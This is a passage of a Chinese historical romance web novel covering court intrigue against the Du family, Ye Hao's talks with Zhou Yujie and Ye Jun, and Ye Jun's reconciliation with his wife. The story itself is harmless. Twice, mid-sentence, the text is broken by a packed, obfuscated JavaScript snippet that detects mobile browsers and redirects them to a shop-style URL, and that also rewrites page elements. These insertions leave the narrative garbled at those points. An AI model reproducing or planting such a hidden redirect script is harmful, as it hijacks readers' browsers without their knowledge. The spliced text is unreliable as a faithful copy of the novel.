那日在战场,冷逸尘接到加急密报:何敞叛乱,速归京就驾。冷逸尘收兵回城,当即斩杀了何素及其部下,任命他的部下徐盛为重峪关总将领,全权处理重峪关战后事宜,务必和平解决,不得再生战乱。此时已有将士将城楼上女子的尸身抬下来,冷逸尘一看是叶岚的侍女:秋雨。 来不及多做其它安排,便率军赶去安定城,并遣快马去几处兵营调兵支援,等他赶到安定城时,何敞正围住城池准备攻城。 朝臣们虽有人看出何敞的意欲,但未想到他下手如此之快。韩平虽在京中,但是他的兵力不足,又常年在燕北,京郊附近的军队并不听他调遣,于是他给冷逸尘连发了三道密信。 待冷逸尘赶到时其它的军队也都已到达,众军合力,全歼何敞军队,生擒了何敞。 一番调查,才知真相,何敞蓄谋已久,梁祁两国的冲突便是他谋划的,崇宁王妃是梁国人,他料定崇宁王会率军前去。 原本他的计划是让何素趁兵乱刺杀冷逸尘夫妇,他则趁京中大局未稳、人心不定之时诛杀新帝,谋权篡位。 可未料到叶岚先行去了燕北、冷逸尘在重峪关一味求和,为了挟制冷逸尘、也为了引起更大的冲突,何素只得派人去劫持叶岚,不料只劫回秋雨这个假王妃,时间紧迫,他们也不论真假,只要能激起战争即可。 未料叶岚的出现致使战争停止,彻底粉碎了何敞、何素的计划,事后,冷逸尘在安定城不眠不休了两个月,与内阁人员一起整理官场、清查何敞余党。 待一切稳定下来,冷逸尘才借着“新帝登基、告知邻邦”的由头持节访梁,意欲迎回叶岚,不想梁国及成王是这种态度,一度让他绝望至极。 叶皓在战后也是气恨不已,后来细想想,若换作是他是冷逸尘,他也只能这样做。 此刻冷逸尘问他:能不能带叶岚回去时,他脑中也想的是“不能”,事已至此,一切已成定局,叶岚不能再去祁国了。 此时,他也终于理解了他三哥为何如此坚决留下叶岚,冷逸尘再怎么待她真心,可在别人看来她永远是异国人,随时可以成为筹码与威胁。 他叹了口气,说道:“长风,叶岚不在了,她现在换个身份过得很好,有一句话叫作‘相濡以沫,不如相忘于江湖。’你……放手吧。” 冷逸尘听闻此言,只觉得五雷轰顶,眼里的希望又消散不见,追问道:“这是她的意思吗?这是她的决定吗?她是不是恨透了我?” “不是,是我和三哥的安排,她也……同意了。说实话,我不知道她到底是怎样想到,她自回来后从未提及过你。长风啊,她是一个弱女子,这些事发生得太突然,给她一些时间,将来的事,让还是要由她自己决定。” 话音刚落,哨声传来,这是于文则在提示他们注意时间。 叶皓拍了拍冷逸尘的肩膀:“该出发了,听师兄一句,将来无论怎样,要先照顾好自己,若让她看到你这副模样,大概会更难过。” 冷逸尘虽知他是在宽慰他,可心中还是燃起了希望,他从怀中掏出一封信交给他,揖了一个大礼,说道:“请师兄务必将此信转交给她,师弟告辞了。” 叶皓接过信,双手托起冷逸尘的双臂,郑重地说道:“定不负所托。” 送君千里,终有一别,冷逸尘上了马车后泽生来与叶皓告别,叶皓拿出一枚鱼符,说道:“以后来找我不必如此,持此符到城南铁裕丰铁匠炉中找掌柜,就说‘来取老梁定的锄头”即可。 泽生知此事隐秘,叶皓能告知他,是对他十二分的信任,便小心收下鱼符,藏于怀中,行跪拜大礼后辞去。 叶皓目送冷逸尘的队伍离开,心中无限叹息。 62. 尘缨世网缚 别了冷逸尘,叶皓整理好情绪,入京直奔太尉周玉阶府上。 在十里亭等待之时,他又思考了一遍昨日与江源的对话,他发现他们漏掉了一个人,一个很重要的人物,太尉周玉阶。 这周玉阶是朝中清流,手握重权,不少人想拉拢投靠,可他为人耿直忠正,因此得罪了不少朝臣,但他深得梁帝信任,因此得以在朝中立足。 他分管兵权,从这几年的军队调派和人事任免来看,周玉阶还未入杜卫一党。 周太尉一见叶皓,便道:“老夫恭候殿下久已,请移步密室详谈。”说完打开书房的柜子,推开背板,二人进了一间雅室。 坐定后,周玉阶方笑道:“若不是老夫让贱内去向惠妃娘娘问安,还不知殿下几时能来看老夫。” “晚辈来迟了。”周玉阶出身世家,与梁帝是同门之谊,他的为人,叶皓也很是敬佩,故而叶皓在他面前自称晚辈。 周太尉捋着胡子说道:“此番找殿下来,是想问问殿下对朝局有何看法。此处隐秘,殿下但说无妨。” “杜家势大,恐成祸患。”叶皓一针见血地指出。 周玉阶对他能正确地指出要点非常满意,点点头说道:“老夫掌管全国兵权,军事调任皆经老夫之手,地方的将领的调派皆是由地方上表、朝廷商讨、陛下比准,或者朝廷商议后直接任免。唯独西南,由杜卫一人掌权,即使是朝廷派遣将士过去,皆被杜卫以各种理由驳回。” 叶皓试探着问道:“师老将军之案可与杜家有关?” “师老将军之案,是杜家之局。老夫以为杜家只是为了碾压师将军这一员大将,给朝中一个震慑,当时陛下病重,荣贵妃把持朝政,全力支持杜家,才定了师将军的罪。” “此事一出,老夫真是日夜难眠,陛下尚未立储君,朝中人心不齐,又无大将可用,一旦杜卫起兵,大梁几代君王之建设将毁于一旦。不过后来,荣贵妃却未干政过多,对陛下很是尽心,陛下的病情才未加重,这倒是老夫没想到的。” 听到这里,叶皓又想起昨日与江源的讨论,他对容贵妃态度的变化,也产生了疑惑,若荣贵妃真心帮助杜家,何不在梁帝病重时就动手?难道是想错了荣贵妃,他选了个折中的说法回答:“荣贵妃与父皇毕竟是夫妻,还有恩情在。” “这的确不假,可殿下看看贵妃为杜家这两年的安排,先是让侄子杜纯之入京安排了宫城防卫的重职,勾结了宣相良那老匹夫,搅得朝堂混乱;又拉拢成王娶了她的侄女为侧妃。她为什么选成王,老夫想大概是用成王做掩护,将来名正言顺让杜家直接参与朝政大事,至于杜家为什么至今未起兵,大约是因为殿下的原因。老夫能看得出,殿下也在布局。”周玉阶说罢,眼中带着深意看了一眼叶皓。 见他已看出,叶皓便不再隐瞒:“是,师老将军对晚辈有遗言,已告知晚辈该如何做。” 回忆这两年之事,他又恍然,当年朝中旨意命他巡守海防,亦是周太尉之意,他向周太尉求证此事。 周玉阶:“送老将军还乡和巡守海防的确是老夫之意,师将军真是位好将军!”周玉阶感叹了一句后,继续说道:“至于成王,老夫不想他如此糊涂,此举他虽得了杜家支持,但在朝中也失了部分人心,在老夫看来,成王能力才干出众,不该做如此选择。” 叶皓:“他虽未说为何如此,但我知他是不得已,我与他已达成一致,他在朝、我在军,守望相助。” 周玉阶若有所思:“殿下倒是信任成王,如果是这样,那倒是老夫误会他了,但是这种手段,老夫是不认可的。不是老夫在此挑拨,殿下也不要全然相信成王。” 周玉阶说完,突然起身行跪拜大礼说道:“请殿下听老臣一言,陛下的三位皇子:二皇子虽为陛下所爱,可只知读书、不理政事;三皇子已染指杜家,不宜为继;只有殿下,有勇有谋、堪当大任。老夫欲扶持殿下得储君之位,大梁若得殿下为明主,实乃社稷之幸、百姓之福。” 叶皓急忙扶起周玉阶,说道:“太尉慎言,储君之位由父皇定夺,不可妄议。” 周玉阶几乎老泪纵横,言辞恳切地说道:“是老夫僭越了,老夫是为了大梁江山社稷才出此言,若殿下再无行动,只恐这天下又要动荡了。” 叶皓见他如此,心中动容:“太尉忧国忧民,晚辈都理解,晚辈在此保证,晚辈一定会铲除杜家之患,以后不管晚辈为君还是为臣,定为大梁江山社稷尽心竭力。” 周玉阶拭了泪,起身坐下:“殿下既有此话,老夫就安心了,不管殿下如何选择,老夫定会全力支持殿下。唉!这些年来,我朝重文轻武,导致国防衰弱,当年祁国求娶昭阳公主,老夫是反对的。” “家国安危,本是男儿之责,岂能全都系于女子一身,可当时梁国刚历大难,从大局考虑,只能让公主做出牺牲。如今,昭阳公主落得这样的结果,是老夫心中所痛。” 叶皓见他此番想法倒是与叶均一致,便说出实情:“太尉能做到‘幼吾幼以及人之幼’,真令晚辈佩服,太尉不必伤感,晚辈已将昭阳公主带回。” 周玉阶惊诧地问道:“此话怎讲?” 于是叶皓将叶岚一事以实情相告。 周玉阶捋着胡子说道:“那先庆王所认之女和传闻中殿下金屋藏娇之人,都是昭阳公主了?” 叶皓:“正是,只因昭阳公主被杀,见证者众多,晚辈想名正言顺地带回公主,只想出此计,不想在坊间传成这样。” 周玉阶:“殿下就不怕失了名声?” 叶皓坐正正身躯:“晚辈行得正、坐得端,又何惧这些流言,何况是为了妹妹归朝,晚辈无悔。” 周玉阶赞许道:“好,好,老夫果然没有看错人,本来老夫还想劝殿下,莫要耽搁儿女情长上,看来是老夫多虑了。” 叶皓承此大责,又想到如今自己的处境,心中不免有些担忧,问道::“那晚辈接下来要怎么做?” 周玉阶:“留在京中,静待时机。” 叶皓:“只怕京中已容不下我。” 周玉阶却胸有成略:“老夫自会助殿下留在京中。” 二人又交谈了几句后,叶皓离开了太尉府,回到书房,点了一株提神的线香,摆了一盘围棋残局,仔细思考着这两日的事。 这两人年的人和事,一件接着一件,事事息息相关、休戚与共,想到锦瑟,心中不免遗憾:原是我不及你清醒,我将把你如何是好?我想到这里,心中如堵了一块石头、十分压抑,于是将棋盘惯摔了出去,一拳重重砸在案几上。 “阿皓!”叶均有些严肃的声音响起。 叶皓抬头,只见叶均站在满地棋子中间,他幽幽地叫了一声:“三哥……” 叶均:“发生什么事了,动这么大肝火?” 叶皓掩饰道:“没什么,只是觉得心中压抑。” 叶均猜测道:“是你因为没有让你去见祁国使团的事?” 叶皓:“不是,大约是这几日事情太多了。” 叶均命人进来将地面打扫干净,倒茶进来,二人坐定细谈,无人后,他说道:“我今日来,是想和你说说你在祁国被刺的事,已经调查清楚了。” 叶皓听闻此言,坐正了身体,认真听叶均讲述情况。 原来白高人觊觎中原,又战不过梁、祁两国,便明修栈道、暗度陈仓,不过,这路线走到也是很奇葩。一方面派出大量死士去刺杀诸国皇子,让皇子之间互生疑心、引起内斗;另一方面,挑拨江湖门派之间关系,欲引发江湖混战,待天下大乱之际,白高国再趁虚而入。 其它国家什么情况,叶均不知道,但是他将梁国这一线,调查得水落石出。 白高人派出两路人马,一路是死士入梁京准备刺杀皇子,另一路说客到西南招摇山的招摇宗游说。 杜卫假意与白告合作,令去梁京的死士转去祁国刺杀叶皓,于是又便有了杜卫借刀杀人这一出;招摇宗本就与中原各派不合,经白高挑拨,于是便有了剑宗大比伤人一事; 刺杀一事,若事成,梁国会失去最有希望成为储君的皇子;若事情失败,便嫁祸于叶均,令兄弟生嫌、父子生疑。 荣贵妃在梁帝身边,得知了叶皓更改行程一事,正好为刺杀留出了时间,但杜卫低估了叶均与叶皓的兄弟情谊,此事一出却如石沉大海,没了后续。 杜卫一计不成,又生一计,由荣贵妃把持朝政,将次子与侄女前去梁京打开局面,奈何没一个中用的。 叶皓听着,有些难以置信,不想其中竟有如此深的缘故:“所以当年的刺杀杜家、荣贵妃是同谋,所以你娶杜家女子是为了在朝堂牵制杜家?” 叶均:“是的,我让你嫂嫂带孩子离京,也是为了保护她们。朝堂人心涣散,若不收拢回来,众党林立,更是增加隐患。我已失了父皇的心,这件事对我来说何其艰难,联合杜家是最快的捷径。这两年你做得很不错,在军中树起来威信,将来要彻底铲除杜家,手中要掌好军权,有了军权便有了话语权。” 叶皓细细地思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073906|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考着,他在外这两年如此顺利,正是因朝中叶均与周玉阶不约而同地暗中相助。 而叶均以身入局,一路艰辛、一路委屈,他不由心疼地叫了一声:“三哥……” 叶均未理会他,继续说道:“近期,杜卫的次子杜纯之刚刚被委任重职,又临近过年,我估计杜家暂时不会再生出什么事端。但你在京中要小心些。” 叶皓看着他:“三哥,你这样行事,就不怕整个朝堂、整个天下都会误会你?” 叶均却平静地说道:“为人臣子者,固有所不得已,行事之情而忘其身,何暇至于悦生而恶死。我与大梁,是子之爱亲,臣之事君,这个责任我逃不掉。” 听闻此言,叶皓只觉得惭愧,家国有危,而他只囿于儿女情长。 叶均见他不言语,又看着他的样子不像平日,十分不解地问道:“你这几日是怎么了,怎么消瘦了这么多?” 叶皓难以启齿,好一会才说道:“遇到点事情……我会处理好的……”他虽然这样说,但是却没有想好该如何处理,叶均知道了也肯定是反对,故而这样说。 叶均只当是他近日来事多,安慰道:“你在外辛苦了,趁着过年好好休息休息。” “嫂嫂和暖暖怎么样?你和嫂嫂……”叶皓不知如何说下去。 叶均叹了口气,说道:“暖暖出事,我难辞其咎,你嫂嫂现在恨极了我。至于暖暖,有你嫂嫂照顾,你便放心吧。” 他起身看了看外面,继续说道:“天不早了,我先走了。”说完拍了拍叶皓的肩膀,又说道:“年底了,进宫也容易些,抽时间多去陪陪惠妃娘娘。” 叶均走后,留下叶皓一个人看着茶碗发呆,韦素来问他是否需要备晚膳时,他才发觉这一日他滴水未进,但却没有胃口。 他临窗而立,天色阴沉,寒风簌簌,大约是要落雪了。 此时在宣州,叶岚也是临窗而立,看着空中的雪花越落越多,她突然想到:临闾关早就落雪了吧,可那又怎样呢?这与她叶青已毫无关系,这一场浩劫,她彻底脱胎换骨。 甲辰年这一年没有年三十,腊月二十九是这一年的最后一天。 这一天,人人意难平。 夏萱带着一家老小吃了年夜饭,可孩子们却问父王什么时候会来,她面上虽然溢着笑容,可转头却是眉头紧锁、身心俱疲,叶均遣人送来的信和东西被她如数退回,她似乎是下定了决心,要将她舍弃。 叶均在过年时大病一场,原因是他给夏萱的信没有回复,便踏着冰雪去了趟宣州,却只喝了杯茶便被送客,一个正主都没有见到,回来后他便病倒了。 杜兰芳倒是高兴,她原以为以为叶均会去宣州过年,如此看来,年后的一切活动,也都会有她陪同,她似乎是个胜利者。 叶皓在探望过母亲之后,在城中漫无目的地走着,往常他会去翠微阁,这次却再没了目的地,京中的店铺早已关门,只剩下门口的灯笼,在寒风中摇晃着互相庆贺新年。 待到华灯初上、家家团圆圆之时,他才回到冷冷清清的王府,空中烟花绽放,瞬间的绚烂,他这场短暂的、没有结果的爱恋,大约就如这烟花一般吧。 江源家里,江源为女儿置办了红色的衣裳,云琴依旧一身素衣,初来人世的孩童,首次看见这人间的喜乐,高兴得不得了,指着红灯笼咿咿呀呀,忽而冒出一句“爹爹”。 他听了激动得不得了,云琴心中一痛,眼泪随即而下,他劝解道:“过年是不许哭的……他泉下有知也会高兴地…地去换一件喜庆点的衣服,好好过个年……” 云琴依言而行,心想:或许有些东西应该放下了。 祁国由于国丧,安定城内禁止了一切庆祝、娱乐活动,一点过年的气氛都没有,家家户户都是关起门来悄悄庆贺,祁国皇宫里,冷逸尘与冷书屿,叔侄二人简单地用地晚膳。 自出使梁国归来后,冷逸尘便一心扑在了政务上,用劳累让自己不得空闲,这样才能不去想叶岚。 在泽生看来,生活似乎回到了冷逸尘未成婚前,叶岚似乎没有出现过。 在宫中住着的这段时间里,泽生收到了一堆手帕、香囊。他倒是来者不拒,全都收在一个匣子里。 冷逸尘问他为什么不佩戴,他只说没有喜欢的味道,冷逸尘又问他喜欢什么样的?他冷冷地说地花。 冷逸尘自然明白,泽生是在提醒他不要忘记叶岚,也怨他不想办法再寻回叶岚。 纵然生活多有不如意,可时间不会因此停下步伐。 63. 浮生千万绪 转眼到了元宵节。梁帝病着,贵妃有孕,梁宫宫宴一切从简,梁帝命贵妃给各宫的赏赐翻倍,算是对后宫的弥补。 乙巳年正月十六,叶均秘约叶皓前去宣州探望,为避嫌,他自西城门驾车而出,一个时辰后,叶皓自南城门骑马前去,午后二人先后到了宣州。 二人来到来,让孩子们着实兴奋了一阵,夏萱本不欲留他们,可看着孩子们的欢喜,再者时间又晚了,回京只怕赶不上城门,断没有再让二人回京的理由,于是安排客房,张罗席面,又是一番忙碌。 晚间,一家人吃了团圆饭,席上大家祝酒后便没了笑语,夏老夫人借着孩子们困觉的由头,带着他们去休息了。 暖暖的身子已大好,没有留下什么病根,可是依旧精神欠佳,也退席了,叶皓说有东西给她,也离开了。 席间只剩叶均夫妻二人,他刚想开口,夏萱说道:“我还有事,殿下请自便。”说完便出安顿众人。 一句“殿下”让叶均心寒至极,但他对夏萱的此次情绪,有些不理解的地方。欲知其然,必知其所以然。于是他去找了老夫人问个缘由。 夏老夫人听闻叶均求见,忙到门口迎接,虽然叶均是晚辈、是女婿,但是毕竟他是亲王,先国后家,老夫人不敢僭越。 叶均施礼道:“夜里来叨扰母亲,实在是不孝。” 夏老夫人回了礼,说道:“殿下真是折煞老身了,快请进。” 二人坐定,叶均也不掩饰,直言道:“母亲,小婿有一事不解,特来问问母亲。” 夏老夫人亦是恭敬:“殿下请讲。” 叶均:“萱儿此次与我龃龉,我思考良久,未寻得其根源,若是因为杜家,她不会等到今日发作;若是因为暖暖的事,她不至于如此。” 夏老夫人见他未开窍,便一语中的地说道:“是因为孩子,那个过世的孩子。殿下是男子,不能感同身受,细算算,那个孩子也才走了不久。她八月怀胎,在慌乱中产下孩子,还未过百日便夭折。” “那孩子在她怀里没了气息,她抱了很久才让人带走。这一家老小皆以她为主心骨,她怎能能轻易言说悲痛?”说道这里,夏老夫人用帕子擦了擦眼角。 “这孩子与你夫妻缘薄,与殿下更是只见了两次面而已,此事在萱儿心中本就没有过去,她是不愿给殿下添负担,强撑着操持这一家老小。如今这样的事发生在暖暖身上,她叫她怎么还能如从前一般。” 一语惊醒梦中人,在这件事上,的确是他无情了。夏萱有孕,他未能相伴;生产之时,他未在身边;孩儿亡故,他也未见到最后一面。做丈夫、做父亲,都没有尽到责任,而暖暖一事,究其原因,也是他的过错。 叶均由衷地说道:“的确是我的错。” 老夫人叹了口气继续说道:“萱儿与殿下缘分不浅,还但希望殿下能爱惜。当年,殿下送的那只玉钗,非比寻常,她父亲一看便知就理。殿下也知她父亲是墨守成规之人,怎容得女儿有私情,因为这事,罚她跪了祠堂施了家法,又将她禁锢在房中,直至殿下来提亲。” 叶均听着,忽觉心惊,这些事夏萱从来没对他说过,他只知自己为夏萱跪了一天一夜,却不知夏萱为他承受了什么。 这个世道,私相授受,于礼不合,于世难容。若事情无果,对男子而言或是一段风流韵事;可对女子而言,便是家族教养问题。轻者,入道观了此残生;重者,则是一条白绫、一把匕首。 想到这里,他起身,恭恭敬敬地行了一礼,说道:“小婿去看看萱儿。” 夏老夫人亦起身回礼,送叶均出门而去。 等夏萱安排完儿女后回到房间内,叶均正在灯下拿着书册等她。 “不是给你安排客房了吗?怎么在这里。”夏萱边说边把书从他手中抽走,她知他根本没有在读。 叶均;“我们需要谈一谈。” 夏萱坐于他对面,正色说道:“我也有话要对你说,本想一会去客房找你,既然过来了,那就在这里说吧。” “你先说。”叶均不知如何开口,自来了以后,夏萱表面看似平常,可没有单独对他说过一句话,虽然人多热闹,可他觉却得非常孤单。 “我们和离。”夏萱说平淡地说地出来,冰冷中带着决绝。 叶均听了手一抖,茶水洒了出来,这句话、这种语气,都是他从来没有听过的,他稳了稳情绪说道:“我不同意。” 夏萱料到他会如此说,冷笑一声说道:“我不是征得你意见,是告知你。我盘算过了,夏家还有些家资田产,足够将孩儿们抚养成人、让母亲安度晚年,暖暖跟着我,自然不会再受什么磨难。” 听闻此言,叶均反而心里踏实了一些,心里也有了成算,反问道:“很好,你为每个人都安排得很好,你自己呢?我呢?” 夏萱:“她们安好,我便足矣。至于你,与我无关。” 叶均放下茶杯,不急不躁:“萱儿,你囿于自己的情绪,这样想未免狭隘了些。首先,孩儿们是皇室子女,自然不能流落在外,失了皇室的庇佑,是何其危险。第二,母亲不会同意的,我自认我这姑爷还是深得他们的心,你难道要让父亲在泉下难安吗?第三,至于暖暖,她是公主,以后该有的名分全都会有,跟着你便是耽误了前程。” 夏萱不语,的确,若没有叶均,她便是一介平民,她能给她们的最好安排,不及皇权带来的一星半点。 叶均趁势追击,继续在言语上逼近,道:“萱儿,你想想,是不是这个事实。” 夏萱心中虽恨却也无奈:“你……你倒是算得清楚。” “萱儿,我知道你对我失望至极,我怕……你心里已经没有我了,我更怕与你分开,要留住你,只能用你最在意的人去栓住你。”说完竟起身将夏萱抱起,向床榻走去。 夏萱自是挣扎,说道:“你放开,放我下来,你这是什么?” “小声些,都睡了。”叶均边说将她放在床上,替她脱了鞋,放下帐幔,自己也躺到了她身边。 夏萱生气转身背对着他,他从背后紧紧抱住了她,继续说道:“萱儿,孩子的事,是我对不起你们,你恨我怨我都行,但不能离开我。我们年少结发,相伴十余年,现在因为杜家,哪怕天下人都误会我,我也无所谓我只怕你会不相信我若你弃舍弃了我,我便什么也没有了,我该怎么办?” 一番表白,叶均满心酸楚,红了眼眶,泪水滴进夏萱的发间,又冰又冷。 她终究还是心软了,转过身来,轻轻拂去他斑驳的泪痕,看着曾经的翩翩少年郎被折磨得如此憔悴,心中疼惜不已,泪水早已无声而下,她别过脸去不愿让他看见。 叶均却将她将揽入怀中,轻抚着她的后背;“孩子的事,是我的错。我没有尽到一个父亲的责任。” “我心中不平,的确是因为孩子,她那么小、那么软,就在我怀里一点点没有了温度……他来这人世一趟,连个名字都没有……”说到此时夏萱已经哽咽,心中的伤感一下涌出,可她又不敢太大声音,只得用叶均的衣服捂着,小声地将这半年来的悲痛与压力一起宣泄。 叶均亦是悲痛,不停地道歉:“对不起,在你最无助的时候,让你没有依靠……我真是枉为人夫、枉为人父,以后再也不会了……” 夏萱的啜泣声渐渐消下消,忽然扯开他左肩的衣服,肩上伤口早已愈合,只留下淡淡的红斑。 叶均说道:“已经愈合了,放心。” 夏萱抚着红痕:“我是怕她这一簪子刺进你的心里,拔不出来。” 叶均用衣袖将她脸上的泪擦干净,紧紧揽在怀里,亲吻着她的额头,说道:“萱儿,你也太轻看我了,我为你守着心,不是你想的那样。上次回去我病很久,我多想一睁开眼睛就见到的是你,平日里,我借口公务住在公廨里不回去,因为家到处都是你和孩子们的影子,可到处又都是冷冷清清的,我心里难受。” “萱儿跟我回去吧,就算是不为了我,也想想她们,孩子们要进学;母亲年岁大了,有个头疼脑热的延医也方便;还有暖暖,她以后还要嫁人……说起这个,姑太太家的孙子于文泽,你还记得吗?” 夏萱摇摇头:“没什么印象。” 叶均挽上夏萱的手;“我记得你们以前见过,不过他不常在京中,这次祁国使团来,我安排他当了接引使,就是想试试他的资质能力。这件事他办得不错,我有心撮合他和暖暖,我朝驸马不得为官,正好他志不在朝堂,若他日后想为官,暖暖郡主的身份也不会有太大影响。” 提到暖暖,夏萱忧愁起来:“你考虑得十分周全,可有问过暖暖怎么想?自她归来后,什么都不说,每日里就是安静地发呆。历经这么大的劫难,她这样的平静,我心里反倒有些打鼓。” 叶均:“她大约是被伤得太深,不愿再提起。我见了那崇宁王,能看出他是个持重之人,对暖暖也是十分的不舍。” 夏萱果断地说:“不能再让暖暖回去了,议亲一事也不要在此时提起,且等等再说。” 叶均赞同地说道:“我也是这个意思,一切皆听王妃安排。” 这一夜,夫妻二人像是经年未见似的,说了很多很多的话。 叶皓离席后交给了暖暖一封信,是师英玉寄来的,信里师英玉略约说了她离京之后的事情,又问了暖暖身体如何、孩子如何,还说了许多美好的期许,并说过了十五便回京城,等天气暖和了再去军中找伯父等计划。 暖暖写了回信,只说因意外孩子已经不在了,盼着她回来再聚。 她写下关于自己的文字,而又将自己从文字中抽离,仿佛在诉说别人的故事。 写好后便出门去找叶皓,这个宅子不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073907|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶皓的客房就安排在了她的院子的偏房里,她在房中为未见到人,却只听见房顶上有瓦片移动的声音。 披上大氅,来到院子里,隐隐约约闻到了一股酒香,走到离房子远一些的地方,果不其然,看见叶皓坐在房顶。 她搬了梯子,爬上房顶,一点点挪到叶皓身边,不敢往下面看一点。坐定后,将给师英玉的信交给叶皓。 叶皓递给她一坛酒,说道:“这是中山冬酿,早已失传,被我一个酿酒的朋友复刻出来,尝尝。” 她接过喝了一口,说道:“不错,有点像清酒。想来,已经很久没有饮酒了,还真有点想念,上次咱俩在屋顶对饮已经是好多年前的事了。” 叶皓哑然一笑:“登高望远,在屋顶饮酒别有一番风味,尤其是借着月色。看你气色好了很多,自己感觉怎么样了?” “已经好了,多谢哥哥姐姐的照顾,没有落下什么病根。”她说完与叶皓相视一笑,碰了一下酒坛,各饮了一口。 她又看向夏萱住的方向,问道:“哥哥姐姐闹别扭已经有一段时间了,他们会和好吗?” 叶皓不以为意:“肯定会的。” 她却有些担忧;“你怎么这么肯定,我姐姐这回可是真生气了,在家里都不许人提到三哥哥。” “他们两个人是分不开的,人人都羡慕长姐与姐夫的婚姻,可我只羡慕三哥三嫂。姐姐与姐夫是天上的神仙,哥哥嫂嫂才是地上的鸳鸯。他们彼此间的一个眼神,就知道对方的心意。这次吵架,只会让他们的情意更坚定。”叶皓看着叶岚眼中的忧愁,忽然问道:“想他吗?” “啊,什么?”暖暖一愣,随即反应过来,低下头去,复而又抬头看看明月,说道:“不想,恨他,特别恨。” “他也有不得已。”叶皓饮了一口酒。 叶岚对这话十分不满:“你到底是我哥,还是他哥?不要给他找借口了。在他那里,我没有那么重要。你也看到了,我没日没夜地奔向他,可他弃我而去,没有丝毫犹豫。我不想去想他,可又时常想起他,真是恨得牙根痒痒。我永远忘不了那一幕,他骑上马决绝地离地的那一幕。” 叶皓按下她的酒坛:“此事你不能怨他,换作是我,我也会这样做。他此去都前路未卜,又怎能带着受伤的你,如果觉得恨,那就是还放不下。不过,抛去这些,你对他,就没有不舍吗?” 暖暖:“这个问题,我也总是困惑,没有答案。四哥你说,若没有和亲一事,我们还会不会相遇?” 叶皓思考了一下回答道:“这个,说不好……” 暖暖苦笑一声:“所以,他对我的感情大概是不得已,而我对他也许只是习惯。若是换一个人去,他们大概也会相知相爱,他不是非我不可。你看现在,没有他,我也过得很好,是不是?至于那个孩,来得不合时宜,也会成为我们之间的羁绊。没了也好,这样,我就可以无牵无挂地向前走,安安心心地做叶青了。” “你就是这样看他的?”叶皓对她的话十分不满,拿出一封信给她:“他给你的。” 她接过,熟悉的字迹映入眼帘:叶岚亲启。她闭眼叹息,将信撕碎,扬了出去。 叶皓看着如雪花般飘落的信纸,有些着急;“你……不看看写了什么吗?” “都是过往了,看有什么用。”她说完仰头将坛中的酒一饮而尽。 叶皓深深一叹:“暖暖,人生有太多不得已,有些事,他的确为难……” “不要说他了!”暖暖不悦地打断他:“叶岚恩怨是非皆过往,与我叶青无关了。”说罢将坛中酒饮尽,良久反问道:“你呢?” 叶皓乜斜了她一眼;“我什么?” 娘娘:“锦瑟姑娘。” “也不要说她了,我刚说了,人生有太多不得已。”叶皓说罢也将坛中酒饮尽:“不早了,休息了。”说完飞身下去了,落地只见舒雁抱着大氅在屋檐下等着。 舒雁被他吓了一跳。 他又对着舒雁潇洒一笑,将食指放到唇边做了一个噤声的手势。 这回该暖暖着急了,顾不上再惆怅,小声喊到:“哥,哥哥,我怎么办?我下不去啊。” “这么多年了,一点长进也没有,自己想办法。”叶皓说完转身进来卧房。 暖暖摸索着,一点点挪下来,恨恨地说:“说到他的事就跑了,还不是彼此彼此!哼!四哥真是的,这屋顶有什么好!!” 舒雁见暖暖下来,忙为她披上大氅,说道:“公主仔细别着凉了。” “说了多少次了,别再叫公主了。”暖暖心中十分不快,刚刚说了斩断前尘,这里又提示她还是公主。 舒雁立即请罪:“是奴婢失言了,公主……郡主恕罪。” 暖暖紧了紧大氅:“回去吧,冷得很。” 中山冬酿醉人,一夜安眠无梦。 64. 春时春草生 翌日,夏萱醒来,昨夜流了半宿的泪,眼睛浮肿得厉害,可心中却轻松了很多。拨开帐幔,见天色已明,忙起身唤来琼琚洗漱梳妆、为叶均更换新衣。 琼琚又命人端水进来,她看着王妃眼中没了阴郁,便知二人已经和好,心下高兴,不觉嘴角上翘。 夏萱戴上耳坠子,问道:“你笑什么?” 琼琚:“早晨有两只喜鹊在枝头叫了半天,是吉兆。” 夏萱哪里来得及细想,只问道:“什么时辰了?” 琼琚:“已过了巳时” 夏萱有些着急;“这么晚了?孩子们起来了吗?” “早就起了,四殿下带着小殿下们出去玩耍了,老夫人也和郡主去城外观中拜三清真人了。”琼琚有条不紊地一一回禀。 夏萱顿了一下,拿起脂粉:“怪不得这么安静……你一会去看看,花胶和鲍鱼泡发好了没有……再着人去给老夫人送件大氅,今天天气怪冷的……昨夜郡主的药喝了吗?” 琼琚:“奴婢问过画眉了,说郡主的药已经两顿没喝了。” 夏萱停下手中的动作,皱眉道:“怎么又没喝?” 琼琚小声说道:“昨夜,郡主与四殿下喝了半夜的酒,回去就睡了。” 夏萱的眉头皱得更紧了,说道:“什么?她的身体怎么能喝酒?怎么没人拦着点?” 琼琚:“我问过院里的人了,说不知道是在哪里喝的……” 叶均坐在案几前翻看夏萱抄写的诗词,簪花小楷、轻盈灵动,又听着二人一问一答,甚是忙碌。 于是走上前去,拿过琼琚手中的青黛,说道:“琼琚,先下去吧,告诉众人,劳累一年了,这两日大家将手头的事做完,便松快松快吧。” 琼琚不知该如何,看着夏萱,得到她的示意后方才退下。 叶均为夏萱画着眉:“今日都不在家,不必这样忙碌。” 